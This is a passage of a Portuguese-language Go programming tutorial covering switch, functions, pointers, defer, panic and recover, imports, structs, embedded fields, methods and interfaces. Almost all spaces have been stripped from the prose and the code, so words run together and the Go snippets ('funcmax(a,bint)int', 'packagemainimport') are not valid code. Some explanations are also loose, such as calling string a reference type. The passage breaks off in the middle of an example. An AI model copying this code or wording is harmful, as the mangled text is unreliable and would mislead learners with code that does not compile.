Asvezesvocêpodeacharqueestáusandomuitasinstruçõesif-elseparaimplementarumalógica,oquepodedificultaraleituraemanutençãonofuturo.Esteéomomentoperfeitoparautilizarainstruçãoswitchpararesolveresteproblema.

switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}

OstiposdesExpr,expr1,expr2,eexpr3devemseromesmo.switchémuitoflexível.Ascondiçõesnãoprecisamserconstantesesãoexecutadasdecimaparabaixoatéqueencontreumacondiçãoválida.Senãohouvernenhumainstruçãoapósapalavra-chaveswitch,entãoelacorresponderáatrue.

i:=10switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")

case10:fmt.Println("iisequalto10")default:fmt.Println("AllIknowisthatiisaninteger")}

Naquintalinha,colocamosváriosvaloresemumcase,enãoprecisamosadicionarapalavra-chavebreaknofinaldoblocodocase.Eleirásairdoblocodoswitchquandoencontrarumacondiçãoverdadeira.Sevocêdesejacontinuarverificandomaiscasos,vocêprecisaráutilizarainstruçãofallthrough.

integer:=6switchinteger{case4:fmt.Println("integer<=4")fallthroughcase5:fmt.Println("integer<=5")fallthroughcase6:fmt.Println("integer<=6")fallthroughcase7:fmt.Println("integer<=7")fallthroughcase8:fmt.Println("integer<=8")fallthroughdefault:fmt.Println("defaultcase")}

Esteprogramamostraaseguinteinformação.

integer<=6integer<=7integer<=8defaultcase

Funções

Useapalavra-chavefuncparadefinirumafunção.

funcfuncName(input1type1,input2type2)(output1type1,output2type2){//corpodafunção//retornodemúltiplosvaloresreturnvalue1,value2}

Nóspodemosextrapolarasseguintesinformaçõesdoexemploacima.

Useapalavra-chavefuncparadefinirumafunçãofuncName.Funçõestemzero,umoumaisargumentos.Otipodoargumentovemdepoisdonomedoargumentoeváriosargumentossãoseparadospor,.Funçõespodemretornarmúltiplosvalores.Existemdoisvaloresderetornocomosnomesoutput1eoutput2,vocêpodeomitirestesnomeseusarapenasostiposdeles.Seexisteapenasumvalorderetornoevocêomitironome,vocênãoprecisausarcolchetesnosvaloresderetorno.Seafunçãonãopossuivaloresderetorno,vocêpodeomitirosparâmetrosderetornocompletamente.Seafunçãopossuivaloresderetorno,vocêprecisautilizarainstruçãoreturnemalgumlugarnocorpodafunção.

Vamosverumexemploprático.(calcularovalormáximo)

packagemainimport"fmt"

//retornaomaiorvalorentreaebfuncmax(a,bint)int{ifa>b{returna

}returnb}

funcmain(){x:=3y:=4z:=5

max_xy:=max(x,y)//chamaafunçãomax(x,y)max_xz:=max(x,z)//chamaafunçãomax(x,z)

fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//chamaafunçãomaxaqui}

Noexemploacimaexistemdoisargumentosdotipointnafunçãomax,sendoassimotipodoprimeiroargumentopodeseromitido.Porexemplo,pode-seutilizara,bintemvezdeaint,bint.Asmesmasregrasseaplicamparaargumentosadicionais.Observeaquiquemaxsótemumvalorderetorno,entãonóssóprecisamosescreverotipodovalorderetorno.Estaéaformacurtadeescrevê-lo.

Múltiplosvaloresderetorno

UmacoisaemqueGoémelhorqueCéqueelasuportamúltiplosvaloresderetorno.

Usaremososeguinteexemplo.

packagemainimport"fmt"

//RetornaosresultadosdeA+BeA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}

funcmain(){x:=3y:=4

xPLUSy,xTIMESy:=SumAndProduct(x,y)

fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}

Oexemploacimaretornadoisvaloressemnomes-vocêtambémtemaopçãodenomeá-lossepreferir.Senomearmososvaloresderetorno,poderemosutilizarapenasainstruçãoreturnpararetornarosvaloresjáqueelesforaminicializadosnafunçãoautomaticamente.Observequesesuasfunçõesforemutilizadasforadopacote,oquesignificaqueonomedasfunçõescomeçamcomumaletramaiúscula,émelhorescreverinstruçõescompletasparaoreturn.Istotornaoseucódigomaislegível.

funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}

Argumentosvariáveis

Gosuportaargumentosvariáveis,oquesignificaquevocêpodedarumnúmeroincertodeargumentosparafunções.

funcmyfunc(arg...int){}

Ainstruçãoarg…intsignificaqueestaéumafunçãoquepossuiargumentosvariáveis.Observequeestesargumentossãodotipoint.Nocorpodafunçãooargsetornaumslicedeint.

for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}

Passarporvaloreponteiros

Quandopassamosumargumentoparaumafunçãoquefoichamada,afunçãorecebenaverdadeumacópiadanossavariáveisoriginal,sendoassim,asalteraçõesnãoafetarãoavariáveloriginal.

Vejamosumexemploparaprovaroqueeuestoudizendo.

packagemainimport"fmt"

//Funçãosimplesqueadiciona1avariávelafuncadd1(aint)int{a=a+1//alteramosovalordeareturna//retornamosonovovalordea}

funcmain(){x:=3

fmt.Println("x=",x)//devemostrar"x=3"

x1:=add1(x)//chamaadd1(x)

fmt.Println("x+1=",x1)//devemostrar"x+1=4"fmt.Println("x=",x)//devemostrar"x=3"}

Vocêconsegueverisso?Mesmoquenóschamamosadd1comx,ovalororiginaldexnãoéalterado.

Arazãoémuitosimples:quandochamamosadd1,nóspassamosumacópiadexparaafunção,enãooprópriox.

Agoravocêpodeseperguntar,comoeupossopassaroxoriginalparaafunção.

Precisamosusarponteirosaqui.Sabemosqueasvariáveissãoarmazenadasemmemóriaequeelaspossuemendereçosdememória.Então,sequeremosalterarovalordeumavariável,precisamosalterarovalorarmazenadonoendereçodememória.Portanto,afunçãoadd1precisasaberoendereçodememóriadexparapoderalteraroseuvalor.Paraisto,passamos&xparaafunção,ealteramosotipodoargumentoparaotipoponteiro*int.Estejacientedequenóspassamosumacópiadoponteiro,nãoumacópiadovalor.

packagemainimport"fmt"

//Funçãosimplesqueadiciona1avariávelafuncadd1(a*int)int{*a=*a+1//alteramosovalordeareturn*a//retornamosonovovalordea}

funcmain(){x:=3

fmt.Println("x=",x)//devemostrar"x=3"

x1:=add1(&x)//calladd1(&x)passmemoryaddressofx

fmt.Println("x+1=",x1)//devemostrar"x+1=4"fmt.Println("x=",x)//devemostrar"x=4"}

Agorapodemosalterarovalordexdentrodafunção.Porqueusamosponteiros?Quaissãoasvantagens?

Permite-nosusarmaisfunçõesparaoperaremumavariável.Baixocustopassandoendereçosdememória(8bytes),acópianãoéumamaneiraeficiente,tantoemtermodetempocomodeespaço,parapassarvariáveis.

string,slice,mapsãotiposdereferências,sendoassim,porpadrãoelesutilizamponteirosaopassarparaumafunção.(Atenção:Sevocêprecisaalterarocomprimentodeumslice,vocêprecisapassarponteirosexplicitamente)

defer

Gopossuiumapalavra-chavebemprojetadachamadadefer.Vocêpodetermuitasdeclaraçõesdeferemumafunção.Elasserãoexecutadasemordeminversaquandooprogramaexecutaatéofinaldasfunções.Nocasoondeoprogramaabrealgunsarquivosderecurso,estesarquivosprecisamserfechadosantesqueafunçãopossaretornarcomerros.Vamosveralgunsexemplos.

funcReadWrite()bool{file.Open("file")//FaçaalgumatarefaiffailureX{file.Close()returnfalse}

iffailureY{file.Close()returnfalse}

file.Close()returntrue}

Vimosalgumcódigosendorepetidováriasvezes.deferresolveesteproblemamuitobem.Elanãosóajudavocêaescreverumcódigolimpo,comotambémtornaseucódigomaislegível.

funcReadWrite()bool{file.Open("file")deferfile.Close()

iffailureX{returnfalse}iffailureY{returnfalse}returntrue}

Sehouvermaisdeumainstruçãodefer,elasserãoexecutadasemordeminversa.Oexemploaseguirirámostrar43210.

fori:=0;i<5;i++{deferfmt.Printf("%d",i)}

Funçõescomotiposevalores

FunçõestambémsãovariáveisemGo,podemosutilizartypeparadefini-las.Funçõesquepossuemamesmaassinaturapodemservistascomosendodomesmotipo.

typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])

Qualéavantagemdesterecurso?Arespostaéqueistonospermitepassarfunçõescomovalores.

packagemainimport"fmt"

typetestIntfunc(int)bool//defineotipodeumafunçãocomovariável

funcisOdd(integerint)bool{ifinteger%2==0{

returnfalse}returntrue}

funcisEven(integerint)bool{ifinteger%2==0{returntrue}returnfalse}

//passaafunção`f`comoumargumentoparaoutrafunção

funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{iff(value){result=append(result,value)}}returnresult}

funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//usaafunçãocomovalorfmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)fmt.Println("Evenelementsofsliceare:",even)}

Istoémuitoútilquandoutilizamosinterfaces.ComovocêpodevertestIntéumavariávelquetemtipodefunção,eosvaloresderetornoeargumentosdefiltersãoosmesmosdetestInt.Portanto,podemosterlógicacomplexaemnossosprogramasmantendoaflexibilidadeemnossocódigo.

PaniceRecover

Gonãopossuiaestruturatry-catchassimcomoJava.Emvezdelançar

exceções,Gousapanicerecoverparalidarcomerros.Noentanto,emborapoderoso,vocênãodeveutilizarainstruçãopanicmuito.

Panicéumafunçãointernaparaquebrarofluxonormaldeprogramaseentraremestadodepânico.QuandoumafunçãoFchamapanic,Fnãocontinuaráexecutando,massuasfunçõesdefercontinuarãoaserexecutadas.EntãoFvoltaaopontodeinterrupçãoquecausouoestadodepânico.Oprogramanãoterminaráatéquetodasessasfunçõesretornemcompanicparaoprimeironíveldagoroutine.panicpodesergeradoexecutandoainstruçãopanicnoprograma,ealgunserrostambémcausampanic,como,porexemplo,atentativadeacessarumaposiçãoinválidaemumarray.

Recoveréumafunçãointernautilizadapararecuperargoroutinesdeestadosdepânico.Chamarrecovernasfunçõesdeferéútilporqueasfunçõesnormaisnãoserãoexecutadasquandooprogramaestiveremestadodepânico.Elerecebeosvaloresdepanicseoprogramaestáemestadodepânico,erecebenilseoprogramanãoestáemestadodepânico.

Oseguinteexemplomostracomoutilizarpanic.

varuser=os.Getenv("USER")

funcinit(){ifuser==""{panic("novaluefor$USER")}}

Oseguinteexemplomostracomoverificarpanic.

functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//sefcausarpânico,eleirárecuperar

return}

Funçãomainefunçãoinit

Gopossuiduasretençõesquesãochamadasdemaineinit,ondeinitpodeserusadaemtodosospacotesemainsópodeserusadanopacotemain.Estasduasfunçõesnãosãocapazesdeterargumentosouvaloresderetorno.Mesmoquepossamosescrevermuitasfunçõesinitemumpacote,recomendofortementeescreverapenasumafunçãoinitparacadapacote.

ProgramasemGoirãochamarasfunçõesinit()emain()automaticamente,entãovocênãoprecisasepreocuparemchamá-las.Paracadapacote,afunçãoinitéopcional,masopackagemaintemumaeapenasumafunçãomain.

Programasinicializamecomeçamaexecuçãoapartirdopacotemain.Seopacotemainimportaoutrospacotes,elesserãoimportadosemtempodecompilação.Seumpacoteéimportadomuitasvezes,eleserácompiladoapenasumavez.Depoisdeimportarpacotes,osprogramasirãoinicializarasconstantesevariáveisdentrodospacotesimportados,eentãoexecutarafunçãoinitseelaexistir,eassimpordiante.Depoisdetodososoutrospacotessereminicializados,osprogramasirãoinicializarasconstantesevariáveisdopacotemaineentãoexecutarafunçãoinitdentrodopacote,seelaexistir.Afiguraaseguirmostraoprocesso.

Figure2.6FluxodeinicializaçãodeprogramasemGo

import

UsamosimportmuitofrequentementeemprogramasGodaseguinteforma.

import("fmt")

Então,usamosfunçõesdestepacotedaseguintemaneira.

fmt.Println("helloworld")

fmtédabibliotecapadrãoGo,queestálocalizadaem$GOROOT/pkg.Gosuportapacotesdeterceirosdeduasmaneiras.

1. Caminhorelativoimport"./model"//carregaopacotenomesmodiretório,eunãorecomendoutilizarestaforma.

2. Caminhoabsolutoimport"shorturl/model"//carregaopacoteno

caminho"$GOPATH/pkg/shorturl/model"

Existemalgunsoperadoresespeciaisquandoimportamospacotes,einiciantesnalinguagemsempreseconfundemcomestesoperadores.

1. Operador:ponto.Àsvezesvemospessoasusandoaseguinteformaparaimportarpacotes.

import(."fmt")

Ooperadorpontosignificaquevocêpodeomitironomedopacotequandovocêchamarfunçõesdentrodestepacote.Assimsendo,fmt.Printf("Helloworld")torna-sePrintf("Helloworld").

2. Operador:pseudônimo(alias)Elealteraonomedopacotequeimportamosquandochamamosfunçõesquepertencemaestepacote.

import(f"fmt")

Assimsendo,fmt.Printf("Helloworld")torna-sef.Printf("Helloworld").

3. Operador:_.Esteoperadorédifícildeentendersemalguémexplicandoparavocê.

import("database/sql"_"github.com/ziutek/mymysql/godrv")

Ooperador_naverdadesignificaquesóqueremosimportareste

pacoteeexecutarsuafunçãoinit,enãotemoscertezasequeremosusarasfunçõespertencentesaestepacote.

Links

SumárioSeçãoanterior:FundamentosemGoPróximaseção:struct

2.4struct

struct

PodemosdefinirnovostiposdecontêineresdeoutraspropriedadesoucamposemGoexatamentecomoemoutraslinguagensdeprogramação.Porexemplo,podemoscriarumtipochamadopersoncomoscamposname(nome)eage(idade)pararepresentarumapessoa.Chamamosestetipodestruct(estrutura).

typepersonstruct{namestringageint}

Vejacomoéfácildefinirumastruct!

Existemdoiscampos.

nameéumastringusadaparaarmazenaronomedapessoa.ageéumintusadoparaarmazenaraidadedapessoa.

Vamosvercomoutilizaristo.

typepersonstruct{namestringageint}

varPperson//pédotipoperson

P.name="Astaxie"//atribui"Astaxie"paraocampo'name'depP.age=25//atribui25paraocampo'age'depfmt.Printf("Theperson'snameis%s\n",P.name)//acessaocampo'name'dep

Existemoutrastrêsmaneirasdedefinirumaestrutura.

Atribuirosvaloresiniciaisemordem

P:=person{"Tom",25}

Usaroformatofield:value(campo:valor)parainicializaraestruturasemordem

P:=person{age:24,name:"Bob"}

Definirumaestruturaanônimaeentãoinicializarela

P:=struct{namestring;ageint}{"Amy",18}

Vejamosumexemplocompleto.

packagemainimport"fmt"

//defineumnovotipotypepersonstruct{namestring

ageint}

//comparaaidadededuaspessoaseretornadoisvalores:apessoamaisvelhaeadiferençadeidade//estruturaépassadaporvalorfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}

funcmain(){vartomperson

//inicializaçãotom.name,tom.age="Tom",18

//inicializadoisvalorespeloformato"campo:valor"bob:=person{age:25,name:"Bob"}

//inicializadoisvaloresemordempaul:=person{"Paul",43}

tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}

Camposincorporadosemstruct

Acabeideapresentaravocêcomodefinirumaestruturacomnomesdecamposetipos.Naverdade,Gosuportacampossemnomes,mascomtipos.

Chamamosessescamposdecamposincorporados(embeddedfields).

Quandoumcampoincorporadoéumaestrutura,todososcamposdestaestruturaserãoimplicitamentecamposdaestruturaondeelafoiincorporada.

Vejamosumexemplo.

packagemainimport"fmt"

typeHumanstruct{namestringageintweightint}

typeStudentstruct{Human//campoincorporado,significaqueaestruturaStudentincluitodososcamposqueHumanpossuispecialtystring}

funcmain(){//inicializaumestudantemark:=Student{Human{"Mark",25,120},"ComputerScience"}

//acessaoscamposfmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialtyis",mark.specialty)//modificaaespecialidademark.specialty="AI"fmt.Println("Markchangedhisspecialty")fmt.Println("Hisspecialtyis",mark.specialty)//modificaaidadefmt.Println("Markbecomeold")mark.age=46fmt.Println("Hisageis",mark.age)//modificaopesofmt.Println("Markisnotanathletanymore")mark.weight+=60

fmt.Println("Hisweightis",mark.weight)}

Figure2.7HerançaemStudenteHuman

VimosquepodemosacessaroscamposidadeenomedeStudentexatamentecomopodemosemHuman.Éassimqueoscamposincorporadosfuncionam.Émuitolegal,nãoé?Espere,temalgomaislegal!VocêpodeatéusaroStudentparaacessaroHumannestecampoincorporado!

mark.Human=Human{"Marcus",55,220}mark.Human.age-=1

TodosostiposemGopodemserusadoscomocamposincorporados.

packagemainimport"fmt"

typeSkills[]string

typeHumanstruct{namestringageintweightint}

typeStudentstruct{Human//estruturacomocampoincorporadoSkills//stringslicecomocampoincorporadoint//tipoembutidocomocampoincorporadospecialtystring}

funcmain(){//inicializaoStudentJanejane:=Student{Human:Human{"Jane",35,100},specialty:"Biology"}//acessaoscamposfmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialtyis",jane.specialty)//modificaovalordocamposkilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//modificaocampoincorporadojane.int=3fmt.Println("Herpreferrednumberis",jane.int)}

Noexemploacima,podemosverquetodosostipospodemsercamposincorporadosepodemosusarfunçõesparaoperarsobreeles.

Noentanto,existemaisumproblema.SeHumanpossuiumcampochamadophoneeStudentpossuiumcampocomomesmonome,oquedevemosfazer?

Gousaumamaneiramuitosimplespararesolveristo.Oscamposexternosobtêmníveisdeacessosuperiores,oquesignificaquequandovocêacessastudent.phone,vocêiráobterocampochamadophonedeStudent,enãoaqueledefinidonaestruturaHuman.Esterecursopodeservistosimplesmentecomoumasobrecargadecampo(fieldoverloading).

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring//Humanpossuiocampophone}

typeEmployeestruct{Human//campoincorporadoHumanspecialtystringphonestring//phoneemEmployee}

funcmain(){Bob:=Employee{Human{"Bob",34,"777-444-XXXX"},"Designer","333-222"}fmt.Println("Bob'sworkphoneis:",Bob.phone)//acessaocampophoneemHumanfmt.Println("Bob'spersonalphoneis:",Bob.Human.phone)}

Links

SumárioSeçãoanterior:DeclaraçõesdecontroleefunçõesPróximaseção:OrientadoaObjeto

OrientaçãoaObjetos

Falamossobrefunçõeseestruturasnasduasúltimasseções,masvocêjáconsiderouusarfunçõescomocamposdeumaestrutura?Nestaseção,vouapresentá-loaoutraformadefunçãoquepossuiumreceptor,queéchamadomethod(método).

method

Suponhaquevocêdefiniuumaestrutura"rectangle"(retângulo)equercalcularasuaárea.Geralmente,usamososeguintecódigoparaatingiresseobjetivo.

packagemainimport"fmt"

typeRectanglestruct{width,heightfloat64}

funcarea(rRectangle)float64{returnr.width*r.height}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}fmt.Println("Areaofr1is:",area(r1))fmt.Println("Areaofr2is:",area(r2))}

Oexemploacimapodecalcularaáreadeumretângulo.Usamosafunçãochamadaarea,maselanãoéummétododaestruturarectangle(comométodosdeclasseemlinguagensorientadasaobjetosclássicas).Afunçãoeaestruturasãoduascoisasindependentes,comovocêpodenotar.

Istonãoéumproblema.Entretanto,sevocêtambémtemquecalcularaáreadeumcirculo,quadrado,pentágonoouqualqueroutrotipodeforma,vocêvaiprecisaradicionarfunçõesadicionaiscomnomesmuitosemelhantes.

Figure2.8Relacionamentoentrefunçõeseestruturas

Evidentemente,issonãoélegal.Alémdisso,aáreadeverealmenteserapropriedadedeumcírculoouretângulo.

Porestasrazões,temosoconceitodemethod.methodéafiliadoaotipo.Elepossuiamesmasintaxequeasfunções,excetoporumparâmetroadicionalapósapalavra-chavefuncchamadareceiver(receptor),queéocorpoprincipaldessemétodo.

Usandoomesmoexemplo,Rectangle.area()pertencediretamenteaorectangle,emvezdeserumafunçãoperiférica.Maisespecificamente,length,widthearea()pertencemaorectangle.

ComoRobPikedisse.

"Ummétodoéumfunçãocomumprimeiroargumentoimplícito,chamadoreceptor."

Sintaxedométodo.

func(rReceiverType)funcName(parameters)(results)

Vamosmudarnossoexemplousandomethodemvezdisso.

packagemainimport("fmt"

"math")

typeRectanglestruct{width,heightfloat64}

typeCirclestruct{radiusfloat64}

func(rRectangle)area()float64{returnr.width*r.height}

func(cCircle)area()float64{returnc.radius*c.radius*math.Pi}

funcmain(){r1:=Rectangle{12,2}r2:=Rectangle{9,4}c1:=Circle{10}c2:=Circle{25}

fmt.Println("Areaofr1is:",r1.area())fmt.Println("Areaofr2is:",r2.area())fmt.Println("Areaofc1is:",c1.area())fmt.Println("Areaofc2is:",c2.area())}

Notasparaousodemétodos.

Seosnomesdosmétodossãoosmesmos,maselesnãocompartilhamosmesmosreceptores,elesnãosãoosmesmosmétodo.Métodossãocapazesdeacessarcamposdentrodereceptores.Use.parachamarummétodonaestrutura,damesmaformaqueoscampossãochamados.

Figure2.9Métodossãodiferentesemdiferentesestruturas

Noexemploacima,osmétodosarea()pertencemaoRectangleeaoCirclerespectivamente,entãoosreceptoressãoRectangleeCircle.

Umpontoquevalenotaréqueométodocomalinhapontilhadasignificaqueoreceptorépassadoporvalor,nãoporreferência.Adiferençaentreeleséqueummétodopodemudarosvaloresdoseureceptorquandooreceptorépassadoporreferência,eoutrorecebeumacópiadoreceptorquandooreceptorépassadoporvalor.

Oreceptorsópodeserumaestrutura?Claroquenão.Qualquertipopodeseroreceptordeummétodo.Vocêpodeestarconfusosobretiposcustomizados.Estruturaéumtipoespecialdetipocustomizado-hámaistiposcustomizado.

Useoseguinteformatoparadefinirumtipocustomizado.

typetypeNametypeLiteral

Exemplosdetiposcustomizados:

typeagesint

typemoneyfloat32

typemonthsmap[string]int

m:=months{"January":31,"February":28,..."December":31,}

Esperoquevocêsaibausartiposcustomizadosagora.SemelhanteaotypedefemC,usamosagesparasubstituirintnoexemploacima.

Vamosvoltarafalarsobremethod.

Vocêpodeusarquantosmétodosquiseremtiposcustomizados.

packagemainimport"fmt"

const(WHITE=iotaBLACKBLUEREDYELLOW)

typeColorbyte

typeBoxstruct{width,height,depthfloat64colorColor}

typeBoxList[]Box//umaslicedecaixas

func(bBox)Volume()float64{returnb.width*b.height*b.depth}

func(b*Box)SetColor(cColor){

b.color=c}

func(blBoxList)BiggestsColor()Color{v:=0.00k:=Color(WHITE)for_,b:=rangebl{ifb.Volume()>v{v=b.Volume()k=b.color}}returnk}

func(blBoxList)PaintItBlack(){fori,_:=rangebl{bl[i].SetColor(BLACK)}}

func(cColor)String()string{strings:=[]string{"WHITE","BLACK","BLUE","RED","YELLOW"}returnstrings[c]}

funcmain(){boxes:=BoxList{Box{4,4,4,RED},Box{10,10,1,YELLOW},Box{1,1,20,BLACK},Box{10,10,1,BLUE},Box{10,30,1,WHITE},Box{20,20,20,YELLOW},}

fmt.Printf("Wehave%dboxesinourset\n",len(boxes))fmt.Println("Thevolumeofthefirstoneis",boxes[0].Volume(),"cm³")fmt.Println("Thecolorofthelastoneis",boxes[len(boxes)-1].color.String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())

fmt.Println("Let'spaintthemallblack")boxes.PaintItBlack()

fmt.Println("Thecolorofthesecondoneis",boxes[1].color.String())

fmt.Println("Obviously,now,thebiggestoneis",boxes.BiggestsColor().String())}

Definimosalgumasconstantesetiposcustomizados.

UsamosColorcomoapelidoparabyte.DefinimosumaestruturaBoxquetemoscamposheight(altura),width(largura),length(comprimento)ecolor(cor).DefinimosumaestruturaBoxListquetemBoxcomoseucampo.

Então,definimosalgunsmétodosparaosnossostiposcustomizados.

Volume()usaBoxcomoseureceptoreretornaovolumedeBox.SetColor(cColor)mudaacordeBox.BiggestsColor()retornaacorquepossuiomaiorvolume.PaintItBlack()defineascoresdasBoxemBoxListparapreto.String()usaColorcomoseureceptoreretornaapalavraformatadadonomedacor.

Émuitomaisclaroquandousamospalavrasparadescrevernossorequisitos?Frequentementeescrevemosnossosrequisitosantesdecomeçaraprogramar.

Usandoponteirocomoreceptor

VamosdarumaolhadanométodoSetColor.SeureceptoréumponteirodeBox.Sim,vocêpodeusar*Boxcomoumreceptor.Porqueusamosumponteiroaqui?PorquequeremosmudarascoresdeBoxnestemétodo.Assim,senãousarmosumponteiro,elesómudaráovalordentrodeumcópiadeBox.

Sevemosqueumreceptoréoprimeiroargumentodeummétodo,nãoé

difícilentendercomoelefunciona.

Vocêdeveestarperguntandoporquenãoestamosusando(*b).Color=cemvezdeb.Color=cnométodoSetColor().QualquerumestáOKaquiporqueGOsabecomointerpretaraatribuição.VocêachaqueGoémaisfascinanteagora?

Vocêtambémdeveestarseperguntandosedevemosusar(&bl[i]).SetColor(BLACK)emPaintItBlackporquepassamosumponteiroparaSetColor.Novamente,qualquerumestáOKporqueGosabecomointerpretá-lo!

HerançadoMétodo

Aprendemossobreherançadecamposnaúltimaseção.Similarmente,tambémtemosherançademétodoemGo.Seumcampoanônimotivermétodos,entãoaestruturaquecontémocampoterátodososmétodosdeletambém.

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Human//campoanônimoschoolstring}

typeEmployeestruct{Humancompanystring}

//defineummétodoemHumanfunc(h*Human)SayHi(){

fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

SobrecargadeMétodo

SequisermosqueEmployeetenhaseuprópriométodoSayHi,podemosdefinirummétodocomomesmonomeemEmployee,eeleirásobrescreverSayHiemHumanquandonósochamarmos.

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Humanschoolstring}

typeEmployeestruct{Humancompanystring}

func(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

func(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Sim,vocêpodedividirem2linhasaqui.}

funcmain(){mark:=Student{Human{"Mark",25,"222-222-YYYY"},"MIT"}sam:=Employee{Human{"Sam",45,"111-888-XXXX"},"GolangInc"}

mark.SayHi()sam.SayHi()}

VocêécapazdeescreverumprogramaOrientadoaObjetosagora,eosmétodosusamaregradecapitalletter(letramaiúscula)paradecidirseépúblicoouprivadotambém.

Links

SumárioSeçãoAnterior:EstruturaPróximaSeção:Interface

2.6Interface

Interface

UmadascaracterísticasdeprojetomaissutilemGosãointerfaces.Depoisdelerestaseção,vocêprovavelmenteficaráimpressionadocomsuaimplementação.

Oqueéumainterface

Resumidamente,umainterfaceéumconjuntodemétodosqueusamosparadefinirumconjuntodeações.

Comoosexemplosnasseçõesanteriores,tantoStudent(Estudante)quantoEmployee(Empregado)podemSayHi()(DigaOi()),masnãofazemamesmacoisa.

Vamosfazermaistrabalho.VamosadicionarmaisummétodoSing()(Cantar())paraeles,juntamentecomométodoBorrowMoney()(EmprestarDinheiro())paraStudenteSpendSalary()(GastarSalario())paraEmployee.

Agora,StudenttemtrêsmétodoschamadosSayHi(),Sing()eBorrowMoney(),eEmployeetemSayHi(),Sing()eSpendSalary().

EstacombinaçãodemétodoséchamadadeinterfaceeéimplementadaporambosStudenteEmployee.Então,StudenteEmployeeimplementamainterface:SayHi()eSing().Aomesmotempo,Employeenãoimplementaainterface:SayHi(),Sing(),BorrowMoney(),eStudentnãoimplementaainterface:SayHi(),Sing(),SpendSalary().IssoocorreporqueEmployeenãotemométodoBorrowMoney()eStudentnãotemométodoSpendSalary().

TipodeInterface

Umainterfacedefineumconjuntodemétodos,portanto,seumtipoimplementatodososmétodos,dizemosqueeleimplementaainterface.

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Humanschoolstringloanfloat32

}

typeEmployeestruct{Humancompanystringmoneyfloat32}

func(h*Human)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

func(h*Human)Sing(lyricsstring){fmt.Println("Lala,lalala,lalalalala...",lyrics)}

func(h*Human)Guzzle(beerSteinstring){fmt.Println("GuzzleGuzzleGuzzle...",beerStein)}

//EmployeesobrecarregaSayhifunc(e*Employee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Sim,vocêpodedividirem2linhasaqui.}

func(s*Student)BorrowMoney(amountfloat32){s.loan+=amount//(novamenteenovamentee...)}

func(e*Employee)SpendSalary(amountfloat32){e.money-=amount//Maisvodkaporfavor!!!Paraaguentarodia!(Morevodkaplease!!!Getmethroughtheday!)}

//defineinterfacetypeMeninterface{SayHi()Sing(lyricsstring)Guzzle(beerSteinstring)}

typeYoungChapinterface{

SayHi()Sing(songstring)BorrowMoney(amountfloat32)}

typeElderlyGentinterface{SayHi()Sing(songstring)SpendSalary(amountfloat32)}

Sabemosqueumainterfacepodeserimplementadaporqualquertipo,eumtipopodeimplementarmuitasinterfacessimultaneamente.

Observequequalquertipoimplementaainterfacevaziainterface{}porqueelanãotemnenhummétodoetodosostipospossuemzerométodosporpadrão.

Valordainterface

Então,quetipodevalorespodemsercolocadosnainterface?Sedefinirmosumavariávelcomoumainterfacedetipo,qualquertipoqueimplementeainterfacepodeseratribuídoaessavariável.

Comonoexemploacima,sedefinirmosumavariável"m"comointerfaceMen,entãoqualquerStudent,HumanouEmployeepodeseratribuídoa"m".EntãonóspoderíamosterumslicedeMen,equalquertipoqueimplementeainterfaceMenpodeatribuiraesteslice.Lembre-senoentantoqueoslicedainterfacenãotemomesmocomportamentodeumaslicedeoutrostipos.

packagemain

import"fmt"

typeHumanstruct{namestringageintphonestring}

typeStudentstruct{Humanschoolstringloanfloat32}

typeEmployeestruct{Humancompanystringmoneyfloat32}

